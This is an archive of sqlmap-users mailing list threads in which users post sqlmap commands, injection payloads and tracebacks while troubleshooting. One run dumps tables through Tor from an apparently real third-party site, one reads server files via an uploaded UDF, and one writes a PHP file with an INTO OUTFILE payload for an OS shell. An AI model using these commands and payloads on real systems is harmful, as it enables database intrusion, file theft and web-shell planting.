> [14:00:15] [INFO] resuming back-end DBMS 'microsoft sql server'
> [14:00:15] [INFO] testing connection to the target url
> sqlmap identified the following injection points with a total of 0 HTTP(s)
> requests:
> ---
> Place: GET
> Parameter: filter_searchResults
>     Type: boolean-based blind
>     Title: AND boolean-based blind - WHERE or HAVING clause
>     Payload:
> a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007) AND
> 4775=4775 AND
> (4447=4447&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY,TEXT&a_name=search_1&customrpp=10
> ---
> [14:00:19] [INFO] the back-end DBMS is Microsoft SQL Server
> web server operating system: Windows 2003
> web application technology: ColdFusion, Microsoft IIS 6.0
> back-end DBMS: Microsoft SQL Server 2005
>
>
> I updated:
>
>
> sast-iMac:sqlmap-dev sast$
> sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py --update
>
>     sqlmap/1.0-dev-d4a061d - automatic SQL injection and database takeover
> tool
>     http://sqlmap.org
>
> [!] legal disclaimer: Usage of sqlmap for attacking targets without prior
> mutual consent is illegal. It is the end user's responsibility to obey all
> applicable local, state and federal laws. Developers assume no liability
> and are not responsible for any misuse or damage caused by this program
>
> [*] starting at 14:00:34
>
> [14:00:34] [INFO] updating sqlmap to the latest development version from
> the GitHub repository
> [14:00:34] [INFO] update in progress .......
> [14:00:41] [INFO] updated to the latest revision '54752a9'
>
> [*] shutting down at 14:00:41
>
>
> and now with the same command i get errors:
>
>
> sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u "
> http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10"
> --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D
> dassad33_kjd7sadh --random-agent
> Traceback (most recent call last):
>   File "./sqlmap.py", line 15, in <module>
>     from _sqlmap import main
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/_sqlmap.py", line 21, in
> <module>
>     from lib.controller.controller import start
>   File "/Volumes/EXTRA
> SPACE/tools/sqlmap-dev/lib/controller/controller.py", line 11, in <module>
>     from lib.controller.action import action
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/action.py",
> line 8, in <module>
>     from lib.controller.handler import setHandler
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/handler.py",
> line 8, in <module>
>     from lib.core.common import Backend
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/core/common.py", line
> 133, in <module>
>     from thirdparty.magic import magic
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/thirdparty/magic/magic.py",
> line 132, in <module>
>     raise ImportError('failed to find libmagic.  Check your installation')
> ImportError: failed to find libmagic.  Check your installation
> sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u "
> http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10"
> --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D
> dassad33_kjd7sadh --random-agent
> Traceback (most recent call last):
>   File "./sqlmap.py", line 15, in <module>
>     from _sqlmap import main
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/_sqlmap.py", line 21, in
> <module>
>     from lib.controller.controller import start
>   File "/Volumes/EXTRA
> SPACE/tools/sqlmap-dev/lib/controller/controller.py", line 11, in <module>
>     from lib.controller.action import action
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/action.py",
> line 8, in <module>
>     from lib.controller.handler import setHandler
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/handler.py",
> line 8, in <module>
>     from lib.core.common import Backend
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/core/common.py", line
> 133, in <module>
>     from thirdparty.magic import magic
>   File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/thirdparty/magic/magic.py",
> line 132, in <module>
>     raise ImportError('failed to find libmagic.  Check your installation')
> ImportError: failed to find libmagic.  Check your installation
> sast-iMac:sqlmap-dev sast$
>
>
>
> any ideas?
>
> thanks
>
>
> ------------------------------------------------------------------------------
> LogMeIn Rescue: Anywhere, Anytime Remote support for IT. Free Trial
> Remotely access PCs and mobile devices and provide instant support
> Improve your efficiency, and focus on delivering more value-add services
> Discover what IT Professionals Know. Rescue delivers
> http://p.sf.net/sfu/logmein_12329d2d
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Bernardo Damele A. G.

E-mail / Jabber: bernardo.damele (at) gmail.com
Mobile: +447788962949 (UK 07788962949)

[sqlmap-users] not working after updating

[Andreas C. (MegaHz) <me...@me...>]

Hello,

check at this:

sqlmap was working:

sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u "http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10" --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D dassad33_kjd7sadh --random-agent

    sqlmap/1.0-dev-d4a061d - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 14:00:14

[14:00:14] [INFO] fetched random HTTP User-Agent header from file '/Volumes/EXTRA SPACE/tools/sqlmap-dev/txt/user-agents.txt': Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbCDS/3.9.1.14019 Firefox/3.6.13
[14:00:15] [INFO] resuming back-end DBMS 'microsoft sql server' 
[14:00:15] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: filter_searchResults
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007) AND 4775=4775 AND (4447=4447&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY,TEXT&a_name=search_1&customrpp=10
---
[14:00:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ColdFusion, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005


I updated:


sast-iMac:sqlmap-dev sast$ 
sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py --update

    sqlmap/1.0-dev-d4a061d - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 14:00:34

[14:00:34] [INFO] updating sqlmap to the latest development version from the GitHub repository
[14:00:34] [INFO] update in progress .......
[14:00:41] [INFO] updated to the latest revision '54752a9'

[*] shutting down at 14:00:41


and now with the same command i get errors:


sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u "http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10" --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D dassad33_kjd7sadh --random-agent
Traceback (most recent call last):
  File "./sqlmap.py", line 15, in <module>
    from _sqlmap import main
  File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/_sqlmap.py", line 21, in <module>
    from lib.controller.controller import start
  File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/controller.py", line 11, in <module>
    from lib.controller.action import action
  File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/action.py", line 8, in <module>
    from lib.controller.handler import setHandler
  File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/handler.py", line 8, in <module>
    from lib.core.common import Backend
  File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/core/common.py", line 133, in <module>
    from thirdparty.magic import magic
  File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/thirdparty/magic/magic.py", line 132, in <module>
    raise ImportError('failed to find libmagic.  Check your installation')
ImportError: failed to find libmagic.  Check your installation
sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u "http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10" --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D dassad33_kjd7sadh --random-agent
Traceback (most recent call last):
  File "./sqlmap.py", line 15, in <module>
    from _sqlmap import main
  File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/_sqlmap.py", line 21, in <module>
    from lib.controller.controller import start
  File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/controller.py", line 11, in <module>
    from lib.controller.action import action
  File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/action.py", line 8, in <module>
    from lib.controller.handler import setHandler
  File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/handler.py", line 8, in <module>
    from lib.core.common import Backend
  File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/core/common.py", line 133, in <module>
    from thirdparty.magic import magic
  File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/thirdparty/magic/magic.py", line 132, in <module>
    raise ImportError('failed to find libmagic.  Check your installation')
ImportError: failed to find libmagic.  Check your installation
sast-iMac:sqlmap-dev sast$ 


any ideas?

thanks

Re: [sqlmap-users] Blind SQL injection in Header

[David A. <dav...@gm...>]

Hi Miroslav,

In this case, there are only changes in the http headers.

Thanks for your help.

KR

On Mon, Dec 17, 2012 at 11:15 PM, Miroslav Stampar <
mir...@gm...> wrote:

> Hi.
>
> It doesn't look there. But, if Location is changed then there should be
> redirection (with other potential strings).
>
> Kind regards
> On 17.12.2012. 22:12, "David Alvarez" <dav...@gm...> wrote:
>
>> Hello,
>>
>> I detected a blind SQL injection in a MySQL database. The difference
>> between its responses its in the Location HTTP header. But, when I set the
>> "string" switch, sqlmap doesn`t recognize a true statement. Is sqlmap
>> looking at http header?
>>
>> Thanks.
>>
>> Kind Regads,
>> David Álvarez
>>
>>
>> ------------------------------------------------------------------------------
>> LogMeIn Rescue: Anywhere, Anytime Remote support for IT. Free Trial
>> Remotely access PCs and mobile devices and provide instant support
>> Improve your efficiency, and focus on delivering more value-add services
>> Discover what IT Professionals Know. Rescue delivers
>> http://p.sf.net/sfu/logmein_12329d2d
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>>

Re: [sqlmap-users] Blind SQL injection in Header

[Miroslav S. <mir...@gm...>]

Hi.

It doesn't look there. But, if Location is changed then there should be
redirection (with other potential strings).

Kind regards
On 17.12.2012. 22:12, "David Alvarez" <dav...@gm...> wrote:

> Hello,
>
> I detected a blind SQL injection in a MySQL database. The difference
> between its responses its in the Location HTTP header. But, when I set the
> "string" switch, sqlmap doesn`t recognize a true statement. Is sqlmap
> looking at http header?
>
> Thanks.
>
> Kind Regads,
> David Álvarez
>
>
> ------------------------------------------------------------------------------
> LogMeIn Rescue: Anywhere, Anytime Remote support for IT. Free Trial
> Remotely access PCs and mobile devices and provide instant support
> Improve your efficiency, and focus on delivering more value-add services
> Discover what IT Professionals Know. Rescue delivers
> http://p.sf.net/sfu/logmein_12329d2d
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>

[sqlmap-users] Blind SQL injection in Header

[David A. <dav...@gm...>]

Hello,

I detected a blind SQL injection in a MySQL database. The difference
between its responses its in the Location HTTP header. But, when I set the
"string" switch, sqlmap doesn`t recognize a true statement. Is sqlmap
looking at http header?

Thanks.

Kind Regads,
David Álvarez

Re: [sqlmap-users] bug or ....

[Miroslav S. <mir...@gm...>]

Hi.

I believe that this was fixed few weeks ago. Please update to have it fixed.

Kind regards,
Miroslav Stampar
On Dec 17, 2012 10:01 AM, "beta" <bet...@gm...> wrote:

> g:\progz\Python27>python.exe sqlmap-2012\sqlmap.py -u "http://********************/index.php?f_id=589&main=1"
> -p main --file-read="/etc/host"
>
>     sqlmap/1.0-dev-621ae58 - automatic SQL injection and database takeover
> tool
>     http://sqlmap.org
>
> [!] legal disclaimer: Usage of sqlmap for attacking targets without prior
> mutual consent is illegal. It is the end user'
> s responsibility to obey all applicable local, state and federal laws.
> Developers assume no liability and are not respon
> sible for any misuse or damage caused by this program
>
> [*] starting at 10:34:52
>
> [10:34:52] [INFO] resuming back-end DBMS 'postgresql'
> [10:34:52] [INFO] testing connection to the target url
> sqlmap identified the following injection points with a total of 0 HTTP(s)
> requests:
> ---
> Place: GET
> Parameter: main
>     Type: error-based
>     Title: PostgreSQL AND error-based - WHERE or HAVING clause
>     Payload: f_id=589&main=1 AND
> 4036=CAST((CHR(58)||CHR(104)||CHR(111)||CHR(97)||CHR(58))||(SELECT (CASE
> WHEN (4036=403
> 6) THEN 1 ELSE 0
> END))::text||(CHR(58)||CHR(117)||CHR(116)||CHR(117)||CHR(58)) AS NUMERIC)
>
>     Type: stacked queries
>     Title: PostgreSQL > 8.1 stacked queries
>     Payload: f_id=589&main=1; SELECT PG_SLEEP(5)--
>
>     Type: AND/OR time-based blind
>     Title: PostgreSQL > 8.1 AND time-based blind
>     Payload: f_id=589&main=1 AND 5444=(SELECT 5444 FROM PG_SLEEP(5))
> ---
> [10:34:53] [INFO] the back-end DBMS is PostgreSQL
> web application technology: Nginx, PHP 5.2.17
> back-end DBMS: PostgreSQL
> [10:34:53] [INFO] fingerprinting the back-end DBMS operating system
> [10:34:53] [WARNING] time-based comparison needs larger statistical model.
> Making a few dummy requests, please wait..
> [10:34:57] [INFO] heuristics detected web page charset 'ascii'
> [10:34:57] [WARNING] it is very important not to stress the network
> adapter's bandwidth during usage of time-based queri
> es
> [10:34:58] [INFO] the back-end DBMS operating system is Linux
> [10:34:59] [INFO] fetching file: '/etc/host'
> [10:34:59] [INFO] testing if current user is DBA
>
> [10:34:59] [INFO] detecting back-end DBMS version from its banner
>
> what is the back-end database management system architecture?
> [1] 32-bit (default)
> [2] 64-bit
> > 2
> [10:35:01] [INFO] checking if UDF 'sys_fileread' already exist
> [10:35:02] [WARNING] reflective value(s) found and filtering out
>
> do you want confirmation that the file '/tmp/libspnox.so' has been
> successfully written on the back-end DBMS file system
> ? [Y/n]
>
> [10:35:24] [WARNING] it looks like the file has not been written, this can
> occur if the DBMS process' user has no write
> privileges in the destination path
> [10:35:26] [INFO] creating UDF 'sys_fileread' from the binary UDF file
>
> [10:35:28] [CRITICAL] unhandled exception in sqlmap/1.0-dev-621ae58, retry
> your run with the latest development version
> from the GitHub repository. If the exception persists, please send by
> e-mail to 'sql...@li...' or
> open a new issue at 'https://github.com/sqlmapproject/sqlmap/issues/new'
> with the following text and any information req
> uired to reproduce the bug. The developers will try to reproduce the bug,
> fix it accordingly and get back to you.
> sqlmap version: 1.0-dev-621ae58
> Python version: 2.7.2
> Operating system: nt
> Command line: sqlmap-2012\sqlmap.py -u
> *************************************** --file-read=/etc/host
> Technique: STACKED
> Back-end DBMS: PostgreSQL (fingerprinted)
> Traceback (most recent call last):
>   File "g:\progz\Python27\sqlmap-2012\_sqlmap.py", line 73, in main
>     start()
>   File "g:\progz\Python27\sqlmap-2012\lib\controller\controller.py", line
> 568, in start
>     action()
>   File "g:\progz\Python27\sqlmap-2012\lib\controller\action.py", line 150,
> in action
>     conf.dumper.rFile(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))
>   File "g:\progz\Python27\sqlmap-2012\plugins\generic\filesystem.py", line
> 234, in readFile
>     fileContent = self.__unhexString(fileContent)
>   File "g:\progz\Python27\sqlmap-2012\plugins\generic\filesystem.py", line
> 41, in __unhexString
>     if len(hexStr) % 2 != 0:
> TypeError: object of type 'NoneType' has no len()
>
> [*] shutting down at 10:35:28
>
> g:\progz\Python27>
>
>
> ------------------------------------------------------------------------------
> LogMeIn Rescue: Anywhere, Anytime Remote support for IT. Free Trial
> Remotely access PCs and mobile devices and provide instant support
> Improve your efficiency, and focus on delivering more value-add services
> Discover what IT Professionals Know. Rescue delivers
> http://p.sf.net/sfu/logmein_12329d2d
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>

Re: [sqlmap-users] the default --os-shell payload could not upload

[Miroslav S. <mir...@gm...>]

Undefined index while used for sure is a sign of dropped parameters almost
always in cases of long payloads

Kind regards,
Miroslav Stampar
On Dec 17, 2012 1:21 PM, "li" <li...@gm...> wrote:

>  Hello there,
>
>
> i just get a problem when i use the --os-shell command.english is not my mother languag.But i will try my best to explain the situation.
>
> when i use the default --os-shell payload ,it does not work.the server respose is
>
> HTTP/1.1 200 OK
>
> Date: Mon, 17 Dec 2012 11:42:34 GMT
>
> Server: Apache/2.2.16 (Debian)
>
> X-Powered-By: PHP/5.3.3-7+squeeze14
>
> Vary: Accept-Encoding
>
> Content-Length: 1858
>
> Content-Type: text/html
>
> and a error message in the page :
>
> Notice: Undefined index: id in /var/www/cat.php on line 6
>
> the 6th line in my cat.php is :
>
>   <？php
>
> require “header.php”;
>
> $pics = Picture:all ($_GET[“id”]); ------the sixth line.
>
> but if i shorten the payload .just like
>
>
>
> 1%20LIMIT%201%20INTO%20OUTFILE%20'/var/www/tmpuyvgq.php'%20LINES%20TERMINATED%20BY%200x3c3f7068700a696620286973737d3f3e0a%20--
>
> this payload would work.the file is written .and the server response :
>
>  Mon, 17 Dec 2012 12:02:17 GMT
>
> Server: Apache/2.2.16 (Debian)
>
> X-Powered-By: PHP/5.3.3-7+squeeze14
>
> Vary: Accept-Encoding
>
> Content-Length: 1211
>
> Content-Type: text/html
>
> also with an error message:
>
> Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean
> given in /var/www/classes/picture.php on line 22
>
>  i thougth maybe the length of the url is too long .maybe there is some
> error in my php conf.but i thought the default should works on all kinds of
> situation.i could not figure out the problem.
>
> thanks everyone.
>
> by the way. i could not receive the mailing list content.i dont know if
> you can receive this email.
>
>
>
> ------------------------------------------------------------------------------
> LogMeIn Rescue: Anywhere, Anytime Remote support for IT. Free Trial
> Remotely access PCs and mobile devices and provide instant support
> Improve your efficiency, and focus on delivering more value-add services
> Discover what IT Professionals Know. Rescue delivers
> http://p.sf.net/sfu/logmein_12329d2d
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>

[sqlmap-users] the default --os-shell payload could not upload

[li <li...@gm...>]

Hello there,


i just get a problem when i use the --os-shell command.english is not my mother languag.But i will try my best to explain the situation.

when i use the default --os-shell payload ,it does not work.the server respose is

HTTP/1.1 200 OK

Date: Mon, 17 Dec 2012 11:42:34 GMT

Server: Apache/2.2.16 (Debian)

X-Powered-By: PHP/5.3.3-7+squeeze14

Vary: Accept-Encoding

Content-Length: 1858

Content-Type: text/html

and a error message in the page :

Notice: Undefined index: id in /var/www/cat.php on line 6

the 6th line in my cat.php is :

<?php

require "header.php";

$pics = Picture:all ($_GET["id"]); ------the sixth line.

but if i shorten the payload .just like


1%20LIMIT%201%20INTO%20OUTFILE%20'/var/www/tmpuyvgq.php'%20LINES%20TERMINATED%20BY%200x3c3f7068700a696620286973737d3f3e0a%20--

this payload would work.the file is written .and the server response :

Mon, 17 Dec 2012 12:02:17 GMT

Server: Apache/2.2.16 (Debian)

X-Powered-By: PHP/5.3.3-7+squeeze14

Vary: Accept-Encoding

Content-Length: 1211

Content-Type: text/html

also with an error message:

Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean 
given in /var/www/classes/picture.php on line 22


i thougth maybe the length of the url is too long .maybe there is some 
error in my php conf.but i thought the default should works on all kinds 
of situation.i could not figure out the problem.

thanks everyone.

by the way. i could not receive the mailing list content.i dont know if 
you can receive this email.

[sqlmap-users] bug or ....

[beta <bet...@gm...>]

g:\progz\Python27>python.exe sqlmap-2012\sqlmap.py -u
"http://********************/index.php?f_id=589&main=1"
-p main --file-read="/etc/host"

    sqlmap/1.0-dev-621ae58 - automatic SQL injection and database takeover
tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user'
s responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 10:34:52

[10:34:52] [INFO] resuming back-end DBMS 'postgresql'
[10:34:52] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s)
requests:
---
Place: GET
Parameter: main
    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: f_id=589&main=1 AND
4036=CAST((CHR(58)||CHR(104)||CHR(111)||CHR(97)||CHR(58))||(SELECT (CASE
WHEN (4036=403
6) THEN 1 ELSE 0
END))::text||(CHR(58)||CHR(117)||CHR(116)||CHR(117)||CHR(58)) AS NUMERIC)

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries
    Payload: f_id=589&main=1; SELECT PG_SLEEP(5)--

    Type: AND/OR time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: f_id=589&main=1 AND 5444=(SELECT 5444 FROM PG_SLEEP(5))
---
[10:34:53] [INFO] the back-end DBMS is PostgreSQL
web application technology: Nginx, PHP 5.2.17
back-end DBMS: PostgreSQL
[10:34:53] [INFO] fingerprinting the back-end DBMS operating system
[10:34:53] [WARNING] time-based comparison needs larger statistical model.
Making a few dummy requests, please wait..
[10:34:57] [INFO] heuristics detected web page charset 'ascii'
[10:34:57] [WARNING] it is very important not to stress the network
adapter's bandwidth during usage of time-based queri
es
[10:34:58] [INFO] the back-end DBMS operating system is Linux
[10:34:59] [INFO] fetching file: '/etc/host'
[10:34:59] [INFO] testing if current user is DBA

[10:34:59] [INFO] detecting back-end DBMS version from its banner

what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 2
[10:35:01] [INFO] checking if UDF 'sys_fileread' already exist
[10:35:02] [WARNING] reflective value(s) found and filtering out

do you want confirmation that the file '/tmp/libspnox.so' has been
successfully written on the back-end DBMS file system
? [Y/n]

[10:35:24] [WARNING] it looks like the file has not been written, this can
occur if the DBMS process' user has no write
privileges in the destination path
[10:35:26] [INFO] creating UDF 'sys_fileread' from the binary UDF file

[10:35:28] [CRITICAL] unhandled exception in sqlmap/1.0-dev-621ae58, retry
your run with the latest development version
from the GitHub repository. If the exception persists, please send by
e-mail to 'sql...@li...' or
open a new issue at 'https://github.com/sqlmapproject/sqlmap/issues/new'
with the following text and any information req
uired to reproduce the bug. The developers will try to reproduce the bug,
fix it accordingly and get back to you.
sqlmap version: 1.0-dev-621ae58
Python version: 2.7.2
Operating system: nt
Command line: sqlmap-2012\sqlmap.py -u
*************************************** --file-read=/etc/host
Technique: STACKED
Back-end DBMS: PostgreSQL (fingerprinted)
Traceback (most recent call last):
  File "g:\progz\Python27\sqlmap-2012\_sqlmap.py", line 73, in main
    start()
  File "g:\progz\Python27\sqlmap-2012\lib\controller\controller.py", line
568, in start
    action()
  File "g:\progz\Python27\sqlmap-2012\lib\controller\action.py", line 150,
in action
    conf.dumper.rFile(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))
  File "g:\progz\Python27\sqlmap-2012\plugins\generic\filesystem.py", line
234, in readFile
    fileContent = self.__unhexString(fileContent)
  File "g:\progz\Python27\sqlmap-2012\plugins\generic\filesystem.py", line
41, in __unhexString
    if len(hexStr) % 2 != 0:
TypeError: object of type 'NoneType' has no len()

[*] shutting down at 10:35:28

g:\progz\Python27>

Re: [sqlmap-users] Could not detect MS database injection

[Miroslav S. <mir...@gm...>]

Please send me privatelly content of traffic file for such run (just append
-t traffic.txt to a problematic run).

Kind regards,
Miroslav Stampar
On Dec 15, 2012 5:10 PM, "Volker Nebelung" <vol...@rw...>
wrote:

> Hi,
>
> I am using sqlmap to scan a specific GET parameter of a target site. I
> know there is a SQL injection in parameter 2:
>
> python sqlmap.py -u "http://example.net/de/de*/site" --batch
>
> sqlmap gives me the following result:
>
> > …
> > [16:36:19] [INFO] heuristic test shows that URI parameter '#1*' might be
> injectable (possible DBMS: Microsoft Access)
> > [16:36:19] [INFO] testing for SQL injection on URI parameter '#1*'
> > [16:36:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING
> clause'
> > [16:36:29] [INFO] URI parameter '#1*' is 'AND boolean-based blind -
> WHERE or HAVING clause' injectable
> > [16:36:29] [INFO] parsed error message(s) showed that the back-end DBMS
> could be Microsoft Access. Do you want to skip test payloads specific for
> other DBMSes? [Y/n] Y
> > [16:36:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
> > [16:36:29] [INFO] automatically extending ranges for UNION query
> injection technique tests as there is at least one other potential
> injection technique found
> > [16:37:05] [INFO] checking if the injection point on URI parameter '#1*'
> is a false positive
> > [16:37:11] [INFO] URI parameter '#1*' is vulnerable. Do you want to keep
> testing the others (if any)? [y/N] N
> > sqlmap identified the following injection points with a total of 34
> HTTP(s) requests:
> > ---
> > Place: URI
> > Parameter: #1*
> >     Type: boolean-based blind
> >     Title: AND boolean-based blind - WHERE or HAVING clause
> >     Payload: http://example.net:80/de/de' AND 9199=9199 AND
> 'tyFW'='tyFW/site
> > ---
> > [16:37:11] [INFO] testing Microsoft Access
> > [16:37:13] [INFO] confirming Microsoft Access
> > [16:37:14] [WARNING] the back-end DBMS is not Microsoft Access
> > [16:37:14] [INFO] testing MySQL
> > [16:37:16] [WARNING] the back-end DBMS is not MySQL
> > [16:37:16] [INFO] testing Oracle
> > [16:37:17] [WARNING] the back-end DBMS is not Oracle
> > [16:37:17] [INFO] testing PostgreSQL
> > [16:37:18] [WARNING] the back-end DBMS is not PostgreSQL
> > [16:37:18] [INFO] testing Microsoft SQL Server
> > [16:37:19] [WARNING] the back-end DBMS is not Microsoft SQL Server
> > [16:37:19] [INFO] testing SQLite
> > [16:37:20] [WARNING] the back-end DBMS is not SQLite
> > [16:37:20] [INFO] testing Firebird
> > [16:37:21] [WARNING] the back-end DBMS is not Firebird
> > [16:37:21] [INFO] testing SAP MaxDB
> > [16:37:22] [WARNING] the back-end DBMS is not SAP MaxDB
> > [16:37:22] [INFO] testing Sybase
> > [16:37:23] [WARNING] the back-end DBMS is not Sybase
> > [16:37:23] [INFO] testing IBM DB2
> > [16:37:24] [WARNING] the back-end DBMS is not IBM DB2
> > [16:37:24] [CRITICAL] sqlmap was not able to fingerprint the back-end
> database management system, but from the HTML error page it was possible to
> determinate that the back-end DBMS is Microsoft Access. Do not specify the
> back-end DBMS manually, sqlmap will fingerprint the DBMS for you
> > [16:37:24] [WARNING] HTTP error codes detected during testing:
> > 400 (Bad Request) - 24 times, 500 (Internal Server Error) - 20 times
> >
> > [*] shutting down at 16:37:24
>
> I am confused at this point: Is sqlmap thinking that the DBMS is MS Access
> or not?
> When I manually try following URL in my browser "
> http://example.net/de/de'/site" I get a 500 HTML-page with output
> "Microsoft JET Database Engine Error …" so I would say the DBMS is MS
> Access.
> When I now try to get for example all tables, then following happens:
>
> > python sqlmap.py -u "example.net/de/de*/site" --batch --tables
> >
> >     sqlmap/1.0-dev-0664e72 - automatic SQL injection and database
> takeover tool
> >     http://sqlmap.org
> >
> > [!] legal disclaimer: Usage of sqlmap for attacking targets without
> prior mutual consent is illegal. It is the end user's responsibility to
> obey all applicable local, state and federal laws. Developers assume no
> liability and are not responsible for any misuse or damage caused by this
> program
> >
> > [*] starting at 16:38:02
> >
> > [16:38:05] [INFO] custom injection marking character ('*') found in
> option '-u'. Do you want to process it? [Y/n/q] Y
> > [16:38:05] [INFO] testing connection to the target url
> > sqlmap identified the following injection points with a total of 0
> HTTP(s) requests:
> > ---
> > Place: URI
> > Parameter: #1*
> >     Type: boolean-based blind
> >     Title: AND boolean-based blind - WHERE or HAVING clause
> >     Payload: http://example.net:80/de/de' AND 9199=9199 AND
> 'tyFW'='tyFW/site
> > ---
> > [16:38:07] [INFO] testing MySQL
> > [16:38:08] [INFO] heuristics detected web page charset 'ascii'
> > [16:38:08] [WARNING] the back-end DBMS is not MySQL
> > [16:38:08] [INFO] testing Oracle
> > [16:38:09] [INFO] heuristics detected web page charset 'ISO-8859-2'
> > [16:38:09] [WARNING] the back-end DBMS is not Oracle
> > [16:38:09] [INFO] testing PostgreSQL
> > [16:38:10] [WARNING] reflective value(s) found and filtering out
> > [16:38:10] [WARNING] the back-end DBMS is not PostgreSQL
> > [16:38:10] [INFO] testing Microsoft SQL Server
> > [16:38:11] [WARNING] the back-end DBMS is not Microsoft SQL Server
> > [16:38:11] [INFO] testing SQLite
> > [16:38:12] [WARNING] the back-end DBMS is not SQLite
> > [16:38:12] [INFO] testing Microsoft Access
> > [16:38:12] [INFO] confirming Microsoft Access
> > [16:38:13] [WARNING] the back-end DBMS is not Microsoft Access
> > [16:38:13] [INFO] testing Firebird
> > [16:38:14] [WARNING] the back-end DBMS is not Firebird
> > [16:38:14] [INFO] testing SAP MaxDB
> > [16:38:15] [WARNING] the back-end DBMS is not SAP MaxDB
